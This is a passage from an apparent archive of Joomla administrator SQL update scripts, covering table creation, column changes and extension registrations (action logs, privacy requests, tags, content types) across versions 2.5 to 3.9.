(700, 'COM_CPANEL_MSG_EACCELERATOR_TITLE', 'COM_CPANEL_MSG_EACCELERATOR_BODY', 'COM_CPANEL_MSG_EACCELERATOR_BUTTON', 'com_cpanel', 1, 'action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_condition', '3.2.0', 1);

CREATE TABLE IF NOT EXISTS `#__ucm_history` (
  `version_id` int unsigned NOT NULL AUTO_INCREMENT,
  `ucm_item_id` int unsigned NOT NULL,
  `ucm_type_id` int unsigned NOT NULL,
  `version_note` varchar(255) NOT NULL DEFAULT '' COMMENT 'Optional version name',
  `save_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `editor_user_id` int unsigned NOT NULL DEFAULT '0',
  `character_count` int unsigned NOT NULL DEFAULT '0' COMMENT 'Number of characters in this version.',
  `sha1_hash` varchar(50) NOT NULL DEFAULT '' COMMENT 'SHA1 hash of the version_data column.',
  `version_data` mediumtext NOT NULL COMMENT 'json-encoded string of version data',
  `keep_forever` tinyint NOT NULL DEFAULT '0' COMMENT '0=auto delete; 1=keep',
  PRIMARY KEY (`version_id`),
  KEY `idx_ucm_item_id` (`ucm_type_id`,`ucm_item_id`),
  KEY `idx_save_date` (`save_date`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

ALTER TABLE `#__users` ADD COLUMN `otpKey` varchar(1000) NOT NULL DEFAULT '' COMMENT 'Two factor authentication encrypted keys';
ALTER TABLE `#__users` ADD COLUMN `otep` varchar(1000) NOT NULL DEFAULT '' COMMENT 'One time emergency passwords';

CREATE TABLE IF NOT EXISTS `#__user_keys` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `user_id` varchar(255) NOT NULL,
  `token` varchar(255) NOT NULL,
  `series` varchar(255) NOT NULL,
  `invalid` tinyint NOT NULL,
  `time` varchar(200) NOT NULL,
  `uastring` varchar(255) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `series` (`series`),
  UNIQUE KEY `series_2` (`series`),
  UNIQUE KEY `series_3` (`series`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/* Update bad params for two cpanel modules */

UPDATE `#__modules` SET `params` = REPLACE(`params`, '"bootstrap_size":"1"', '"bootstrap_size":"0"') WHERE `id` IN (3,4);
com_admin/sql/updates/mysql/3.7.0-2017-02-15.sql000060400000000205152455305270014323 0ustar00-- Normalize redirect_links table default values.
ALTER TABLE `#__redirect_links` MODIFY `comment` varchar(255) NOT NULL DEFAULT '';
com_admin/sql/updates/mysql/3.5.0-2015-10-30.sql000060400000000171152455305270014315 0ustar00UPDATE `#__menu` SET `title` = 'com_contact_contacts' WHERE `client_id` = 1 AND `level` = 2 AND `title` = 'com_contact';
com_admin/sql/updates/mysql/3.0.1.sql000060400000000071152455305270013265 0ustar00# Placeholder file for database changes for version 3.0.1com_admin/sql/updates/mysql/2.5.2-2012-03-05.sql000060400000000046152455305270014320 0ustar00# Dummy SQL file to set schema versioncom_admin/sql/updates/mysql/3.9.0-2018-05-27.sql000060400000001006152455305270014334 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(486, 0, 'plg_system_logrotation', 'plugin', 'logrotation', 'system', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(487, 0, 'plg_privacy_user', 'plugin', 'user', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.8.4-2018-01-16.sql000060400000000144152455305270014333 0ustar00ALTER TABLE `#__user_keys` DROP INDEX `series_2`;
ALTER TABLE `#__user_keys` DROP INDEX `series_3`;
com_admin/sql/updates/mysql/3.9.0-2018-05-20.sql000060400000000610152455305270014325 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(319, 0, 'mod_latestactions', 'module', 'mod_latestactions', '', 1, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.5.1-2016-03-29.sql000060400000000432152455305270014331 0ustar00--
-- Reset UTF-8 Multibyte (utf8mb4) or UTF-8 conversion status
-- to force a new conversion when updating from version 3.5.0
--

UPDATE `#__utf8_conversion` SET `converted` = 0
 WHERE (SELECT COUNT(*) FROM `#__schemas` WHERE `extension_id`=700 AND `version_id` LIKE '3.5.0%') = 1;com_admin/sql/updates/mysql/3.2.2-2014-01-23.sql000060400000001140152455305270014312 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(106, 'PHPass', 'library', 'phpass', '', 0, 1, 1, 1, '{"legacy":false,"name":"PHPass","type":"library","creationDate":"2004-2006","author":"Solar Designer","authorEmail":"solar@openwall.com","authorUrl":"http:\/\/www.openwall.com/phpass","version":"0.3","description":"LIB_PHPASS_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.9.0-2018-08-29.sql000060400000000717152455305270014351 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(494, 0, 'plg_captcha_recaptcha_invisible', 'plugin', 'recaptcha_invisible', 'captcha', 0, 0, 1, 0, '', '{"public_key":"","private_key":"","theme":"clean"}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.7.0-2017-03-09.sql000060400000001373152455305270014336 0ustar00UPDATE `#__categories` SET `published` = 1 WHERE `alias` = 'root';
UPDATE `#__categories` AS `c` INNER JOIN (
	SELECT c2.id, CASE WHEN MIN(p.published) > 0 THEN MAX(p.published) ELSE MIN(p.published) END AS newPublished
	FROM `#__categories` AS `c2`
	INNER JOIN `#__categories` AS `p` ON p.lft <= c2.lft AND c2.rgt <= p.rgt
	GROUP BY c2.id) c2
ON c.id = c2.id
SET published = c2.newPublished;

UPDATE `#__menu` SET `published` = 1 WHERE `alias` = 'root';
UPDATE `#__menu` AS `c` INNER JOIN (
	SELECT c2.id, CASE WHEN MIN(p.published) > 0 THEN MAX(p.published) ELSE MIN(p.published) END AS newPublished
	FROM `#__menu` AS `c2`
	INNER JOIN `#__menu` AS `p` ON p.lft <= c2.lft AND c2.rgt <= p.rgt
	GROUP BY c2.id) c2
ON c.id = c2.id
SET published = c2.newPublished;
com_admin/sql/updates/mysql/3.9.0-2018-05-05.sql000060400000010673152455305270014342 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(36, 0, 'com_actionlogs', 'component', 'com_actionlogs', '', 1, 1, 1, 1, '', '{"ip_logging":0,"csv_delimiter":",","loggable_extensions":["com_banners","com_cache","com_categories","com_config","com_contact","com_content","com_installer","com_media","com_menus","com_messages","com_modules","com_newsfeeds","com_plugins","com_redirect","com_tags","com_templates","com_users"]}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(483, 0, 'plg_system_actionlogs', 'plugin', 'actionlogs', 'system', 0, 0, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(484, 0, 'plg_actionlog_joomla', 'plugin', 'joomla', 'actionlog', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);


--
-- Table structure for table `#__action_logs`
--

CREATE TABLE IF NOT EXISTS `#__action_logs` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `message_language_key` varchar(255) NOT NULL DEFAULT '',
  `message` text NOT NULL,
  `log_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `extension` varchar(50) NOT NULL DEFAULT '',
  `user_id` int NOT NULL DEFAULT 0,
  `item_id` int NOT NULL DEFAULT 0,
  `ip_address` VARCHAR(40) NOT NULL DEFAULT '0.0.0.0',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

--
-- Table structure for table `#__action_logs_extensions`
--

CREATE TABLE IF NOT EXISTS `#__action_logs_extensions` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `extension` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

INSERT INTO `#__action_logs_extensions` (`id`, `extension`) VALUES
(1, 'com_banners'),
(2, 'com_cache'),
(3, 'com_categories'),
(4, 'com_config'),
(5, 'com_contact'),
(6, 'com_content'),
(7, 'com_installer'),
(8, 'com_media'),
(9, 'com_menus'),
(10, 'com_messages'),
(11, 'com_modules'),
(12, 'com_newsfeeds'),
(13, 'com_plugins'),
(14, 'com_redirect'),
(15, 'com_tags'),
(16, 'com_templates'),
(17, 'com_users');

--
-- Table structure for table `#__action_log_config`
--

CREATE TABLE IF NOT EXISTS `#__action_log_config` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `type_title` varchar(255) NOT NULL DEFAULT '',
  `type_alias` varchar(255) NOT NULL DEFAULT '',
  `id_holder` varchar(255),
  `title_holder` varchar(255),
  `table_name` varchar(255),
  `text_prefix` varchar(255),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

INSERT INTO `#__action_log_config` (`id`, `type_title`, `type_alias`, `id_holder`, `title_holder`, `table_name`, `text_prefix`) VALUES
(1, 'article', 'com_content.article', 'id' ,'title' , '#__content', 'PLG_ACTIONLOG_JOOMLA'),
(2, 'article', 'com_content.form', 'id', 'title' , '#__content', 'PLG_ACTIONLOG_JOOMLA'),
(3, 'banner', 'com_banners.banner', 'id' ,'name' , '#__banners', 'PLG_ACTIONLOG_JOOMLA'),
(4, 'user_note', 'com_users.note', 'id', 'subject' ,'#__user_notes', 'PLG_ACTIONLOG_JOOMLA'),
(5, 'media', 'com_media.file', '' , 'name' , '',  'PLG_ACTIONLOG_JOOMLA'),
(6, 'category', 'com_categories.category', 'id' , 'title' , '#__categories', 'PLG_ACTIONLOG_JOOMLA'),
(7, 'menu', 'com_menus.menu', 'id' ,'title' , '#__menu_types', 'PLG_ACTIONLOG_JOOMLA'),
(8, 'menu_item', 'com_menus.item', 'id' , 'title' , '#__menu', 'PLG_ACTIONLOG_JOOMLA'),
(9, 'newsfeed', 'com_newsfeeds.newsfeed', 'id' ,'name' , '#__newsfeeds', 'PLG_ACTIONLOG_JOOMLA'),
(10, 'link', 'com_redirect.link', 'id', 'old_url' , '#__redirect_links', 'PLG_ACTIONLOG_JOOMLA'),
(11, 'tag', 'com_tags.tag', 'id', 'title' , '#__tags', 'PLG_ACTIONLOG_JOOMLA'),
(12, 'style', 'com_templates.style', 'id' , 'title' , '#__template_styles', 'PLG_ACTIONLOG_JOOMLA'),
(13, 'plugin', 'com_plugins.plugin', 'extension_id' , 'name' , '#__extensions', 'PLG_ACTIONLOG_JOOMLA'),
(14, 'component_config', 'com_config.component', 'extension_id' , 'name', '', 'PLG_ACTIONLOG_JOOMLA'),
(15, 'contact', 'com_contact.contact', 'id', 'name', '#__contact_details', 'PLG_ACTIONLOG_JOOMLA'),
(16, 'module', 'com_modules.module', 'id' ,'title', '#__modules', 'PLG_ACTIONLOG_JOOMLA'),
(17, 'access_level', 'com_users.level', 'id' , 'title', '#__viewlevels', 'PLG_ACTIONLOG_JOOMLA'),
(18, 'banner_client', 'com_banners.client', 'id', 'name', '#__banner_clients', 'PLG_ACTIONLOG_JOOMLA');
com_admin/sql/updates/mysql/3.8.0-2017-07-31.sql000060400000001003152455305270014324 0ustar00INSERT INTO `#__extensions`
(`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`)
VALUES
  (318, 0, 'mod_sampledata', 'module', 'mod_sampledata', '', 1, 0, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
  (479, 0, 'plg_sampledata_blog', 'plugin', 'blog', 'sampledata', 0, 0, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/2.5.0-2011-12-16.sql000060400000000361152455305270014317 0ustar00CREATE TABLE IF NOT EXISTS `#__overrider` (
  `id` int NOT NULL AUTO_INCREMENT COMMENT 'Primary Key',
  `constant` varchar(255) NOT NULL,
  `string` text NOT NULL,
  `file` varchar(255) NOT NULL,
  PRIMARY KEY  (`id`)
) DEFAULT CHARSET=utf8;com_admin/sql/updates/mysql/3.7.0-2017-01-08.sql000060400000003122152455305270014325 0ustar00-- Normalize ucm_content_table default values.
ALTER TABLE `#__ucm_content` MODIFY `core_title` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__ucm_content` MODIFY `core_alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin  NOT NULL DEFAULT '';
ALTER TABLE `#__ucm_content` MODIFY `core_body` mediumtext;
ALTER TABLE `#__ucm_content` MODIFY `core_checked_out_time` varchar(255) NOT NULL DEFAULT '0000-00-00 00:00:00';
ALTER TABLE `#__ucm_content` MODIFY `core_params` text;
ALTER TABLE `#__ucm_content` MODIFY `core_metadata` varchar(2048) NOT NULL DEFAULT '' COMMENT 'JSON encoded metadata properties.';
ALTER TABLE `#__ucm_content` MODIFY `core_language` char(7) NOT NULL DEFAULT '';
ALTER TABLE `#__ucm_content` MODIFY `core_publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00';
ALTER TABLE `#__ucm_content` MODIFY `core_publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00';
ALTER TABLE `#__ucm_content` MODIFY `core_content_item_id` int unsigned NOT NULL DEFAULT 0 COMMENT 'ID from the individual type table';
ALTER TABLE `#__ucm_content` MODIFY `asset_id` int unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the #__assets table.';
ALTER TABLE `#__ucm_content` MODIFY `core_images` text;
ALTER TABLE `#__ucm_content` MODIFY `core_urls` text;
ALTER TABLE `#__ucm_content` MODIFY `core_metakey` text;
ALTER TABLE `#__ucm_content` MODIFY `core_metadesc` text;
ALTER TABLE `#__ucm_content` MODIFY `core_xreference` varchar(50) NOT NULL DEFAULT '' COMMENT 'A reference to enable linkages to external data sets.';
ALTER TABLE `#__ucm_content` MODIFY `core_type_id` int unsigned NOT NULL DEFAULT 0;
com_admin/sql/updates/mysql/3.9.0-2018-05-02.sql000060400000002033152455305270014326 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(35, 0, 'com_privacy', 'component', 'com_privacy', '', 1, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);

CREATE TABLE IF NOT EXISTS `#__privacy_requests` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `email` varchar(100) NOT NULL DEFAULT '',
  `requested_at` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `status` tinyint NOT NULL DEFAULT 0,
  `request_type` varchar(25) NOT NULL DEFAULT '',
  `confirm_token` varchar(100) NOT NULL DEFAULT '',
  `confirm_token_created_at` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `checked_out` int NOT NULL DEFAULT 0,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  PRIMARY KEY (`id`),
  KEY `idx_checkout` (`checked_out`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;
com_admin/sql/updates/mysql/3.8.9-2018-06-19.sql000060400000000152152455305270014347 0ustar00-- Enable Sample Data Module.
UPDATE `#__extensions` SET `enabled` = '1' WHERE `name` = 'mod_sampledata';
com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql000060400000002257152455305270014334 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(28, 'com_joomlaupdate', 'component', 'com_joomlaupdate', '', 1, 1, 0, 1, '{"legacy":false,"name":"com_joomlaupdate","type":"component","creationDate":"February 2012","author":"Joomla! Project","copyright":"(C) 2012 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"2.5.2","description":"COM_JOOMLAUPDATE_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__menu` (`menutype`, `title`, `alias`, `note`, `path`, `link`, `type`, `published`, `parent_id`, `level`, `component_id`, `ordering`, `checked_out`, `checked_out_time`, `browserNav`, `access`, `img`, `template_style_id`, `params`, `lft`, `rgt`, `home`, `language`, `client_id`) VALUES
('menu', 'com_joomlaupdate', 'Joomla! Update', '', 'Joomla! Update', 'index.php?option=com_joomlaupdate', 'component', 0, 1, 1, 28, 0, 0, '0000-00-00 00:00:00', 0, 0, 'class:joomlaupdate', 0, '', 41, 42, 0, '*', 1);
com_admin/sql/updates/mysql/3.4.0-2014-10-20.sql000060400000000070152455305270014310 0ustar00DELETE FROM `#__extensions` WHERE `extension_id` = 100;
com_admin/sql/updates/mysql/3.4.0-2014-12-03.sql000060400000000244152455305270014316 0ustar00UPDATE `#__extensions` SET `protected` = '0' WHERE `name` = 'plg_editors-xtd_article' AND `type` = "plugin" AND `element` = "article" AND `folder` = "editors-xtd";
com_admin/sql/updates/mysql/3.1.0.sql000060400000042651152455305270013277 0ustar00--
-- Table structure for table `#__content_types`
--

CREATE TABLE IF NOT EXISTS `#__content_types` (
  `type_id` int unsigned NOT NULL AUTO_INCREMENT,
  `type_title` varchar(255) NOT NULL DEFAULT '',
  `type_alias` varchar(255) NOT NULL DEFAULT '',
  `table` varchar(255) NOT NULL DEFAULT '',
  `rules` text NOT NULL,
   `field_mappings` text NOT NULL,
   `router` varchar(255) NOT NULL  DEFAULT '',
  PRIMARY KEY (`type_id`),
  KEY `idx_alias` (`type_alias`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=10000;

--
-- Dumping data for table `#__content_types`
--

INSERT INTO `#__content_types` (`type_id`, `type_title`, `type_alias`, `table`, `rules`, `field_mappings`,`router`) VALUES
(1, 'Article', 'com_content.article', '{"special":{"dbtable":"#__content","key":"id","type":"Content","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id"}], "special": [{"fulltext":"fulltext"}]}','ContentHelperRoute::getArticleRoute'),
(2, 'Contact', 'com_contact.contact', '{"special":{"dbtable":"#__contact_details","key":"id","type":"Contact","prefix":"ContactTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"address", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"image", "core_urls":"webpage", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}], "special": [{"con_position":"con_position","suburb":"suburb","state":"state","country":"country","postcode":"postcode","telephone":"telephone","fax":"fax","misc":"misc","email_to":"email_to","default_con":"default_con","user_id":"user_id","mobile":"mobile","sortname1":"sortname1","sortname2":"sortname2","sortname3":"sortname3"}]}','ContactHelperRoute::getContactRoute'),
(3, 'Newsfeed', 'com_newsfeeds.newsfeed', '{"special":{"dbtable":"#__newsfeeds","key":"id","type":"Newsfeed","prefix":"NewsfeedsTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}], "special": [{"numarticles":"numarticles","cache_time":"cache_time","rtl":"rtl"}]}','NewsfeedsHelperRoute::getNewsfeedRoute'),
(4, 'User', 'com_users.user', '{"special":{"dbtable":"#__users","key":"id","type":"User","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"null","core_alias":"username","core_created_time":"registerdate","core_modified_time":"lastvisitDate","core_body":"null", "core_hits":"null","core_publish_up":"null","core_publish_down":"null","access":"null", "core_params":"params", "core_featured":"null", "core_metadata":"null", "core_language":"null", "core_images":"null", "core_urls":"null", "core_version":"null", "core_ordering":"null", "core_metakey":"null", "core_metadesc":"null", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}], "special": [{}]}','UsersHelperRoute::getUserRoute'),
(5, 'Article Category', 'com_content.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}','ContentHelperRoute::getCategoryRoute'),
(6, 'Contact Category', 'com_contact.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}','ContactHelperRoute::getCategoryRoute'),
(7, 'Newsfeeds Category', 'com_newsfeeds.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}','NewsfeedsHelperRoute::getCategoryRoute'),
(8, 'Tag', 'com_tags.tag', '{"special":{"dbtable":"#__tags","key":"tag_id","type":"Tag","prefix":"TagsTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path"}]}','TagsHelperRoute::getTagRoute');

CREATE TABLE IF NOT EXISTS `#__contentitem_tag_map` (
  `type_alias` varchar(255) NOT NULL DEFAULT '',
  `core_content_id` int unsigned NOT NULL COMMENT 'PK from the core content table',
  `content_item_id` int NOT NULL COMMENT 'PK from the content type table',
  `tag_id` int unsigned NOT NULL COMMENT 'PK from the tag table',
  `tag_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT 'Date of most recent save for this tag-item',
  `type_id` mediumint NOT NULL COMMENT 'PK from the content_type table',
  UNIQUE KEY `uc_ItemnameTagid` (`type_id`,`content_item_id`,`tag_id`),
  KEY `idx_tag_type` (`tag_id`,`type_id`),
  KEY `idx_date_id` (`tag_date`,`tag_id`),
  KEY `idx_tag` (`tag_id`),
  KEY `idx_type` (`type_id`),
  KEY `idx_core_content_id` (`core_content_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Maps items from content tables to tags';

CREATE TABLE IF NOT EXISTS `#__tags` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `parent_id` int unsigned NOT NULL DEFAULT '0',
  `lft` int NOT NULL DEFAULT '0',
  `rgt` int NOT NULL DEFAULT '0',
  `level` int unsigned NOT NULL DEFAULT '0',
  `path` varchar(255) NOT NULL DEFAULT '',
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL DEFAULT '',
  `note` varchar(255) NOT NULL DEFAULT '',
  `description` mediumtext NOT NULL,
  `published` tinyint NOT NULL DEFAULT '0',
  `checked_out` int unsigned NOT NULL DEFAULT '0',
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `access` int unsigned NOT NULL DEFAULT '0',
  `params` text NOT NULL,
  `metadesc` varchar(1024) NOT NULL COMMENT 'The meta description for the page.',
  `metakey` varchar(1024) NOT NULL COMMENT 'The meta keywords for the page.',
  `metadata` varchar(2048) NOT NULL COMMENT 'JSON encoded metadata properties.',
  `created_user_id` int unsigned NOT NULL DEFAULT '0',
  `created_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by_alias` varchar(255) NOT NULL DEFAULT '',
  `modified_user_id` int unsigned NOT NULL DEFAULT '0',
  `modified_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `images` text NOT NULL,
  `urls` text NOT NULL,
  `hits` int unsigned NOT NULL DEFAULT '0',
  `language` char(7) NOT NULL,
  `version` int unsigned NOT NULL DEFAULT '1',
  `publish_up` datetime NOT NULL default '0000-00-00 00:00:00',
  `publish_down` datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (`id`),
  KEY `tag_idx` (`published`,`access`),
  KEY `idx_access` (`access`),
  KEY `idx_checkout` (`checked_out`),
  KEY `idx_path` (`path`),
  KEY `idx_left_right` (`lft`,`rgt`),
  KEY `idx_alias` (`alias`),
  KEY `idx_language` (`language`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8;

--
-- Dumping data for table `#__tags`
--

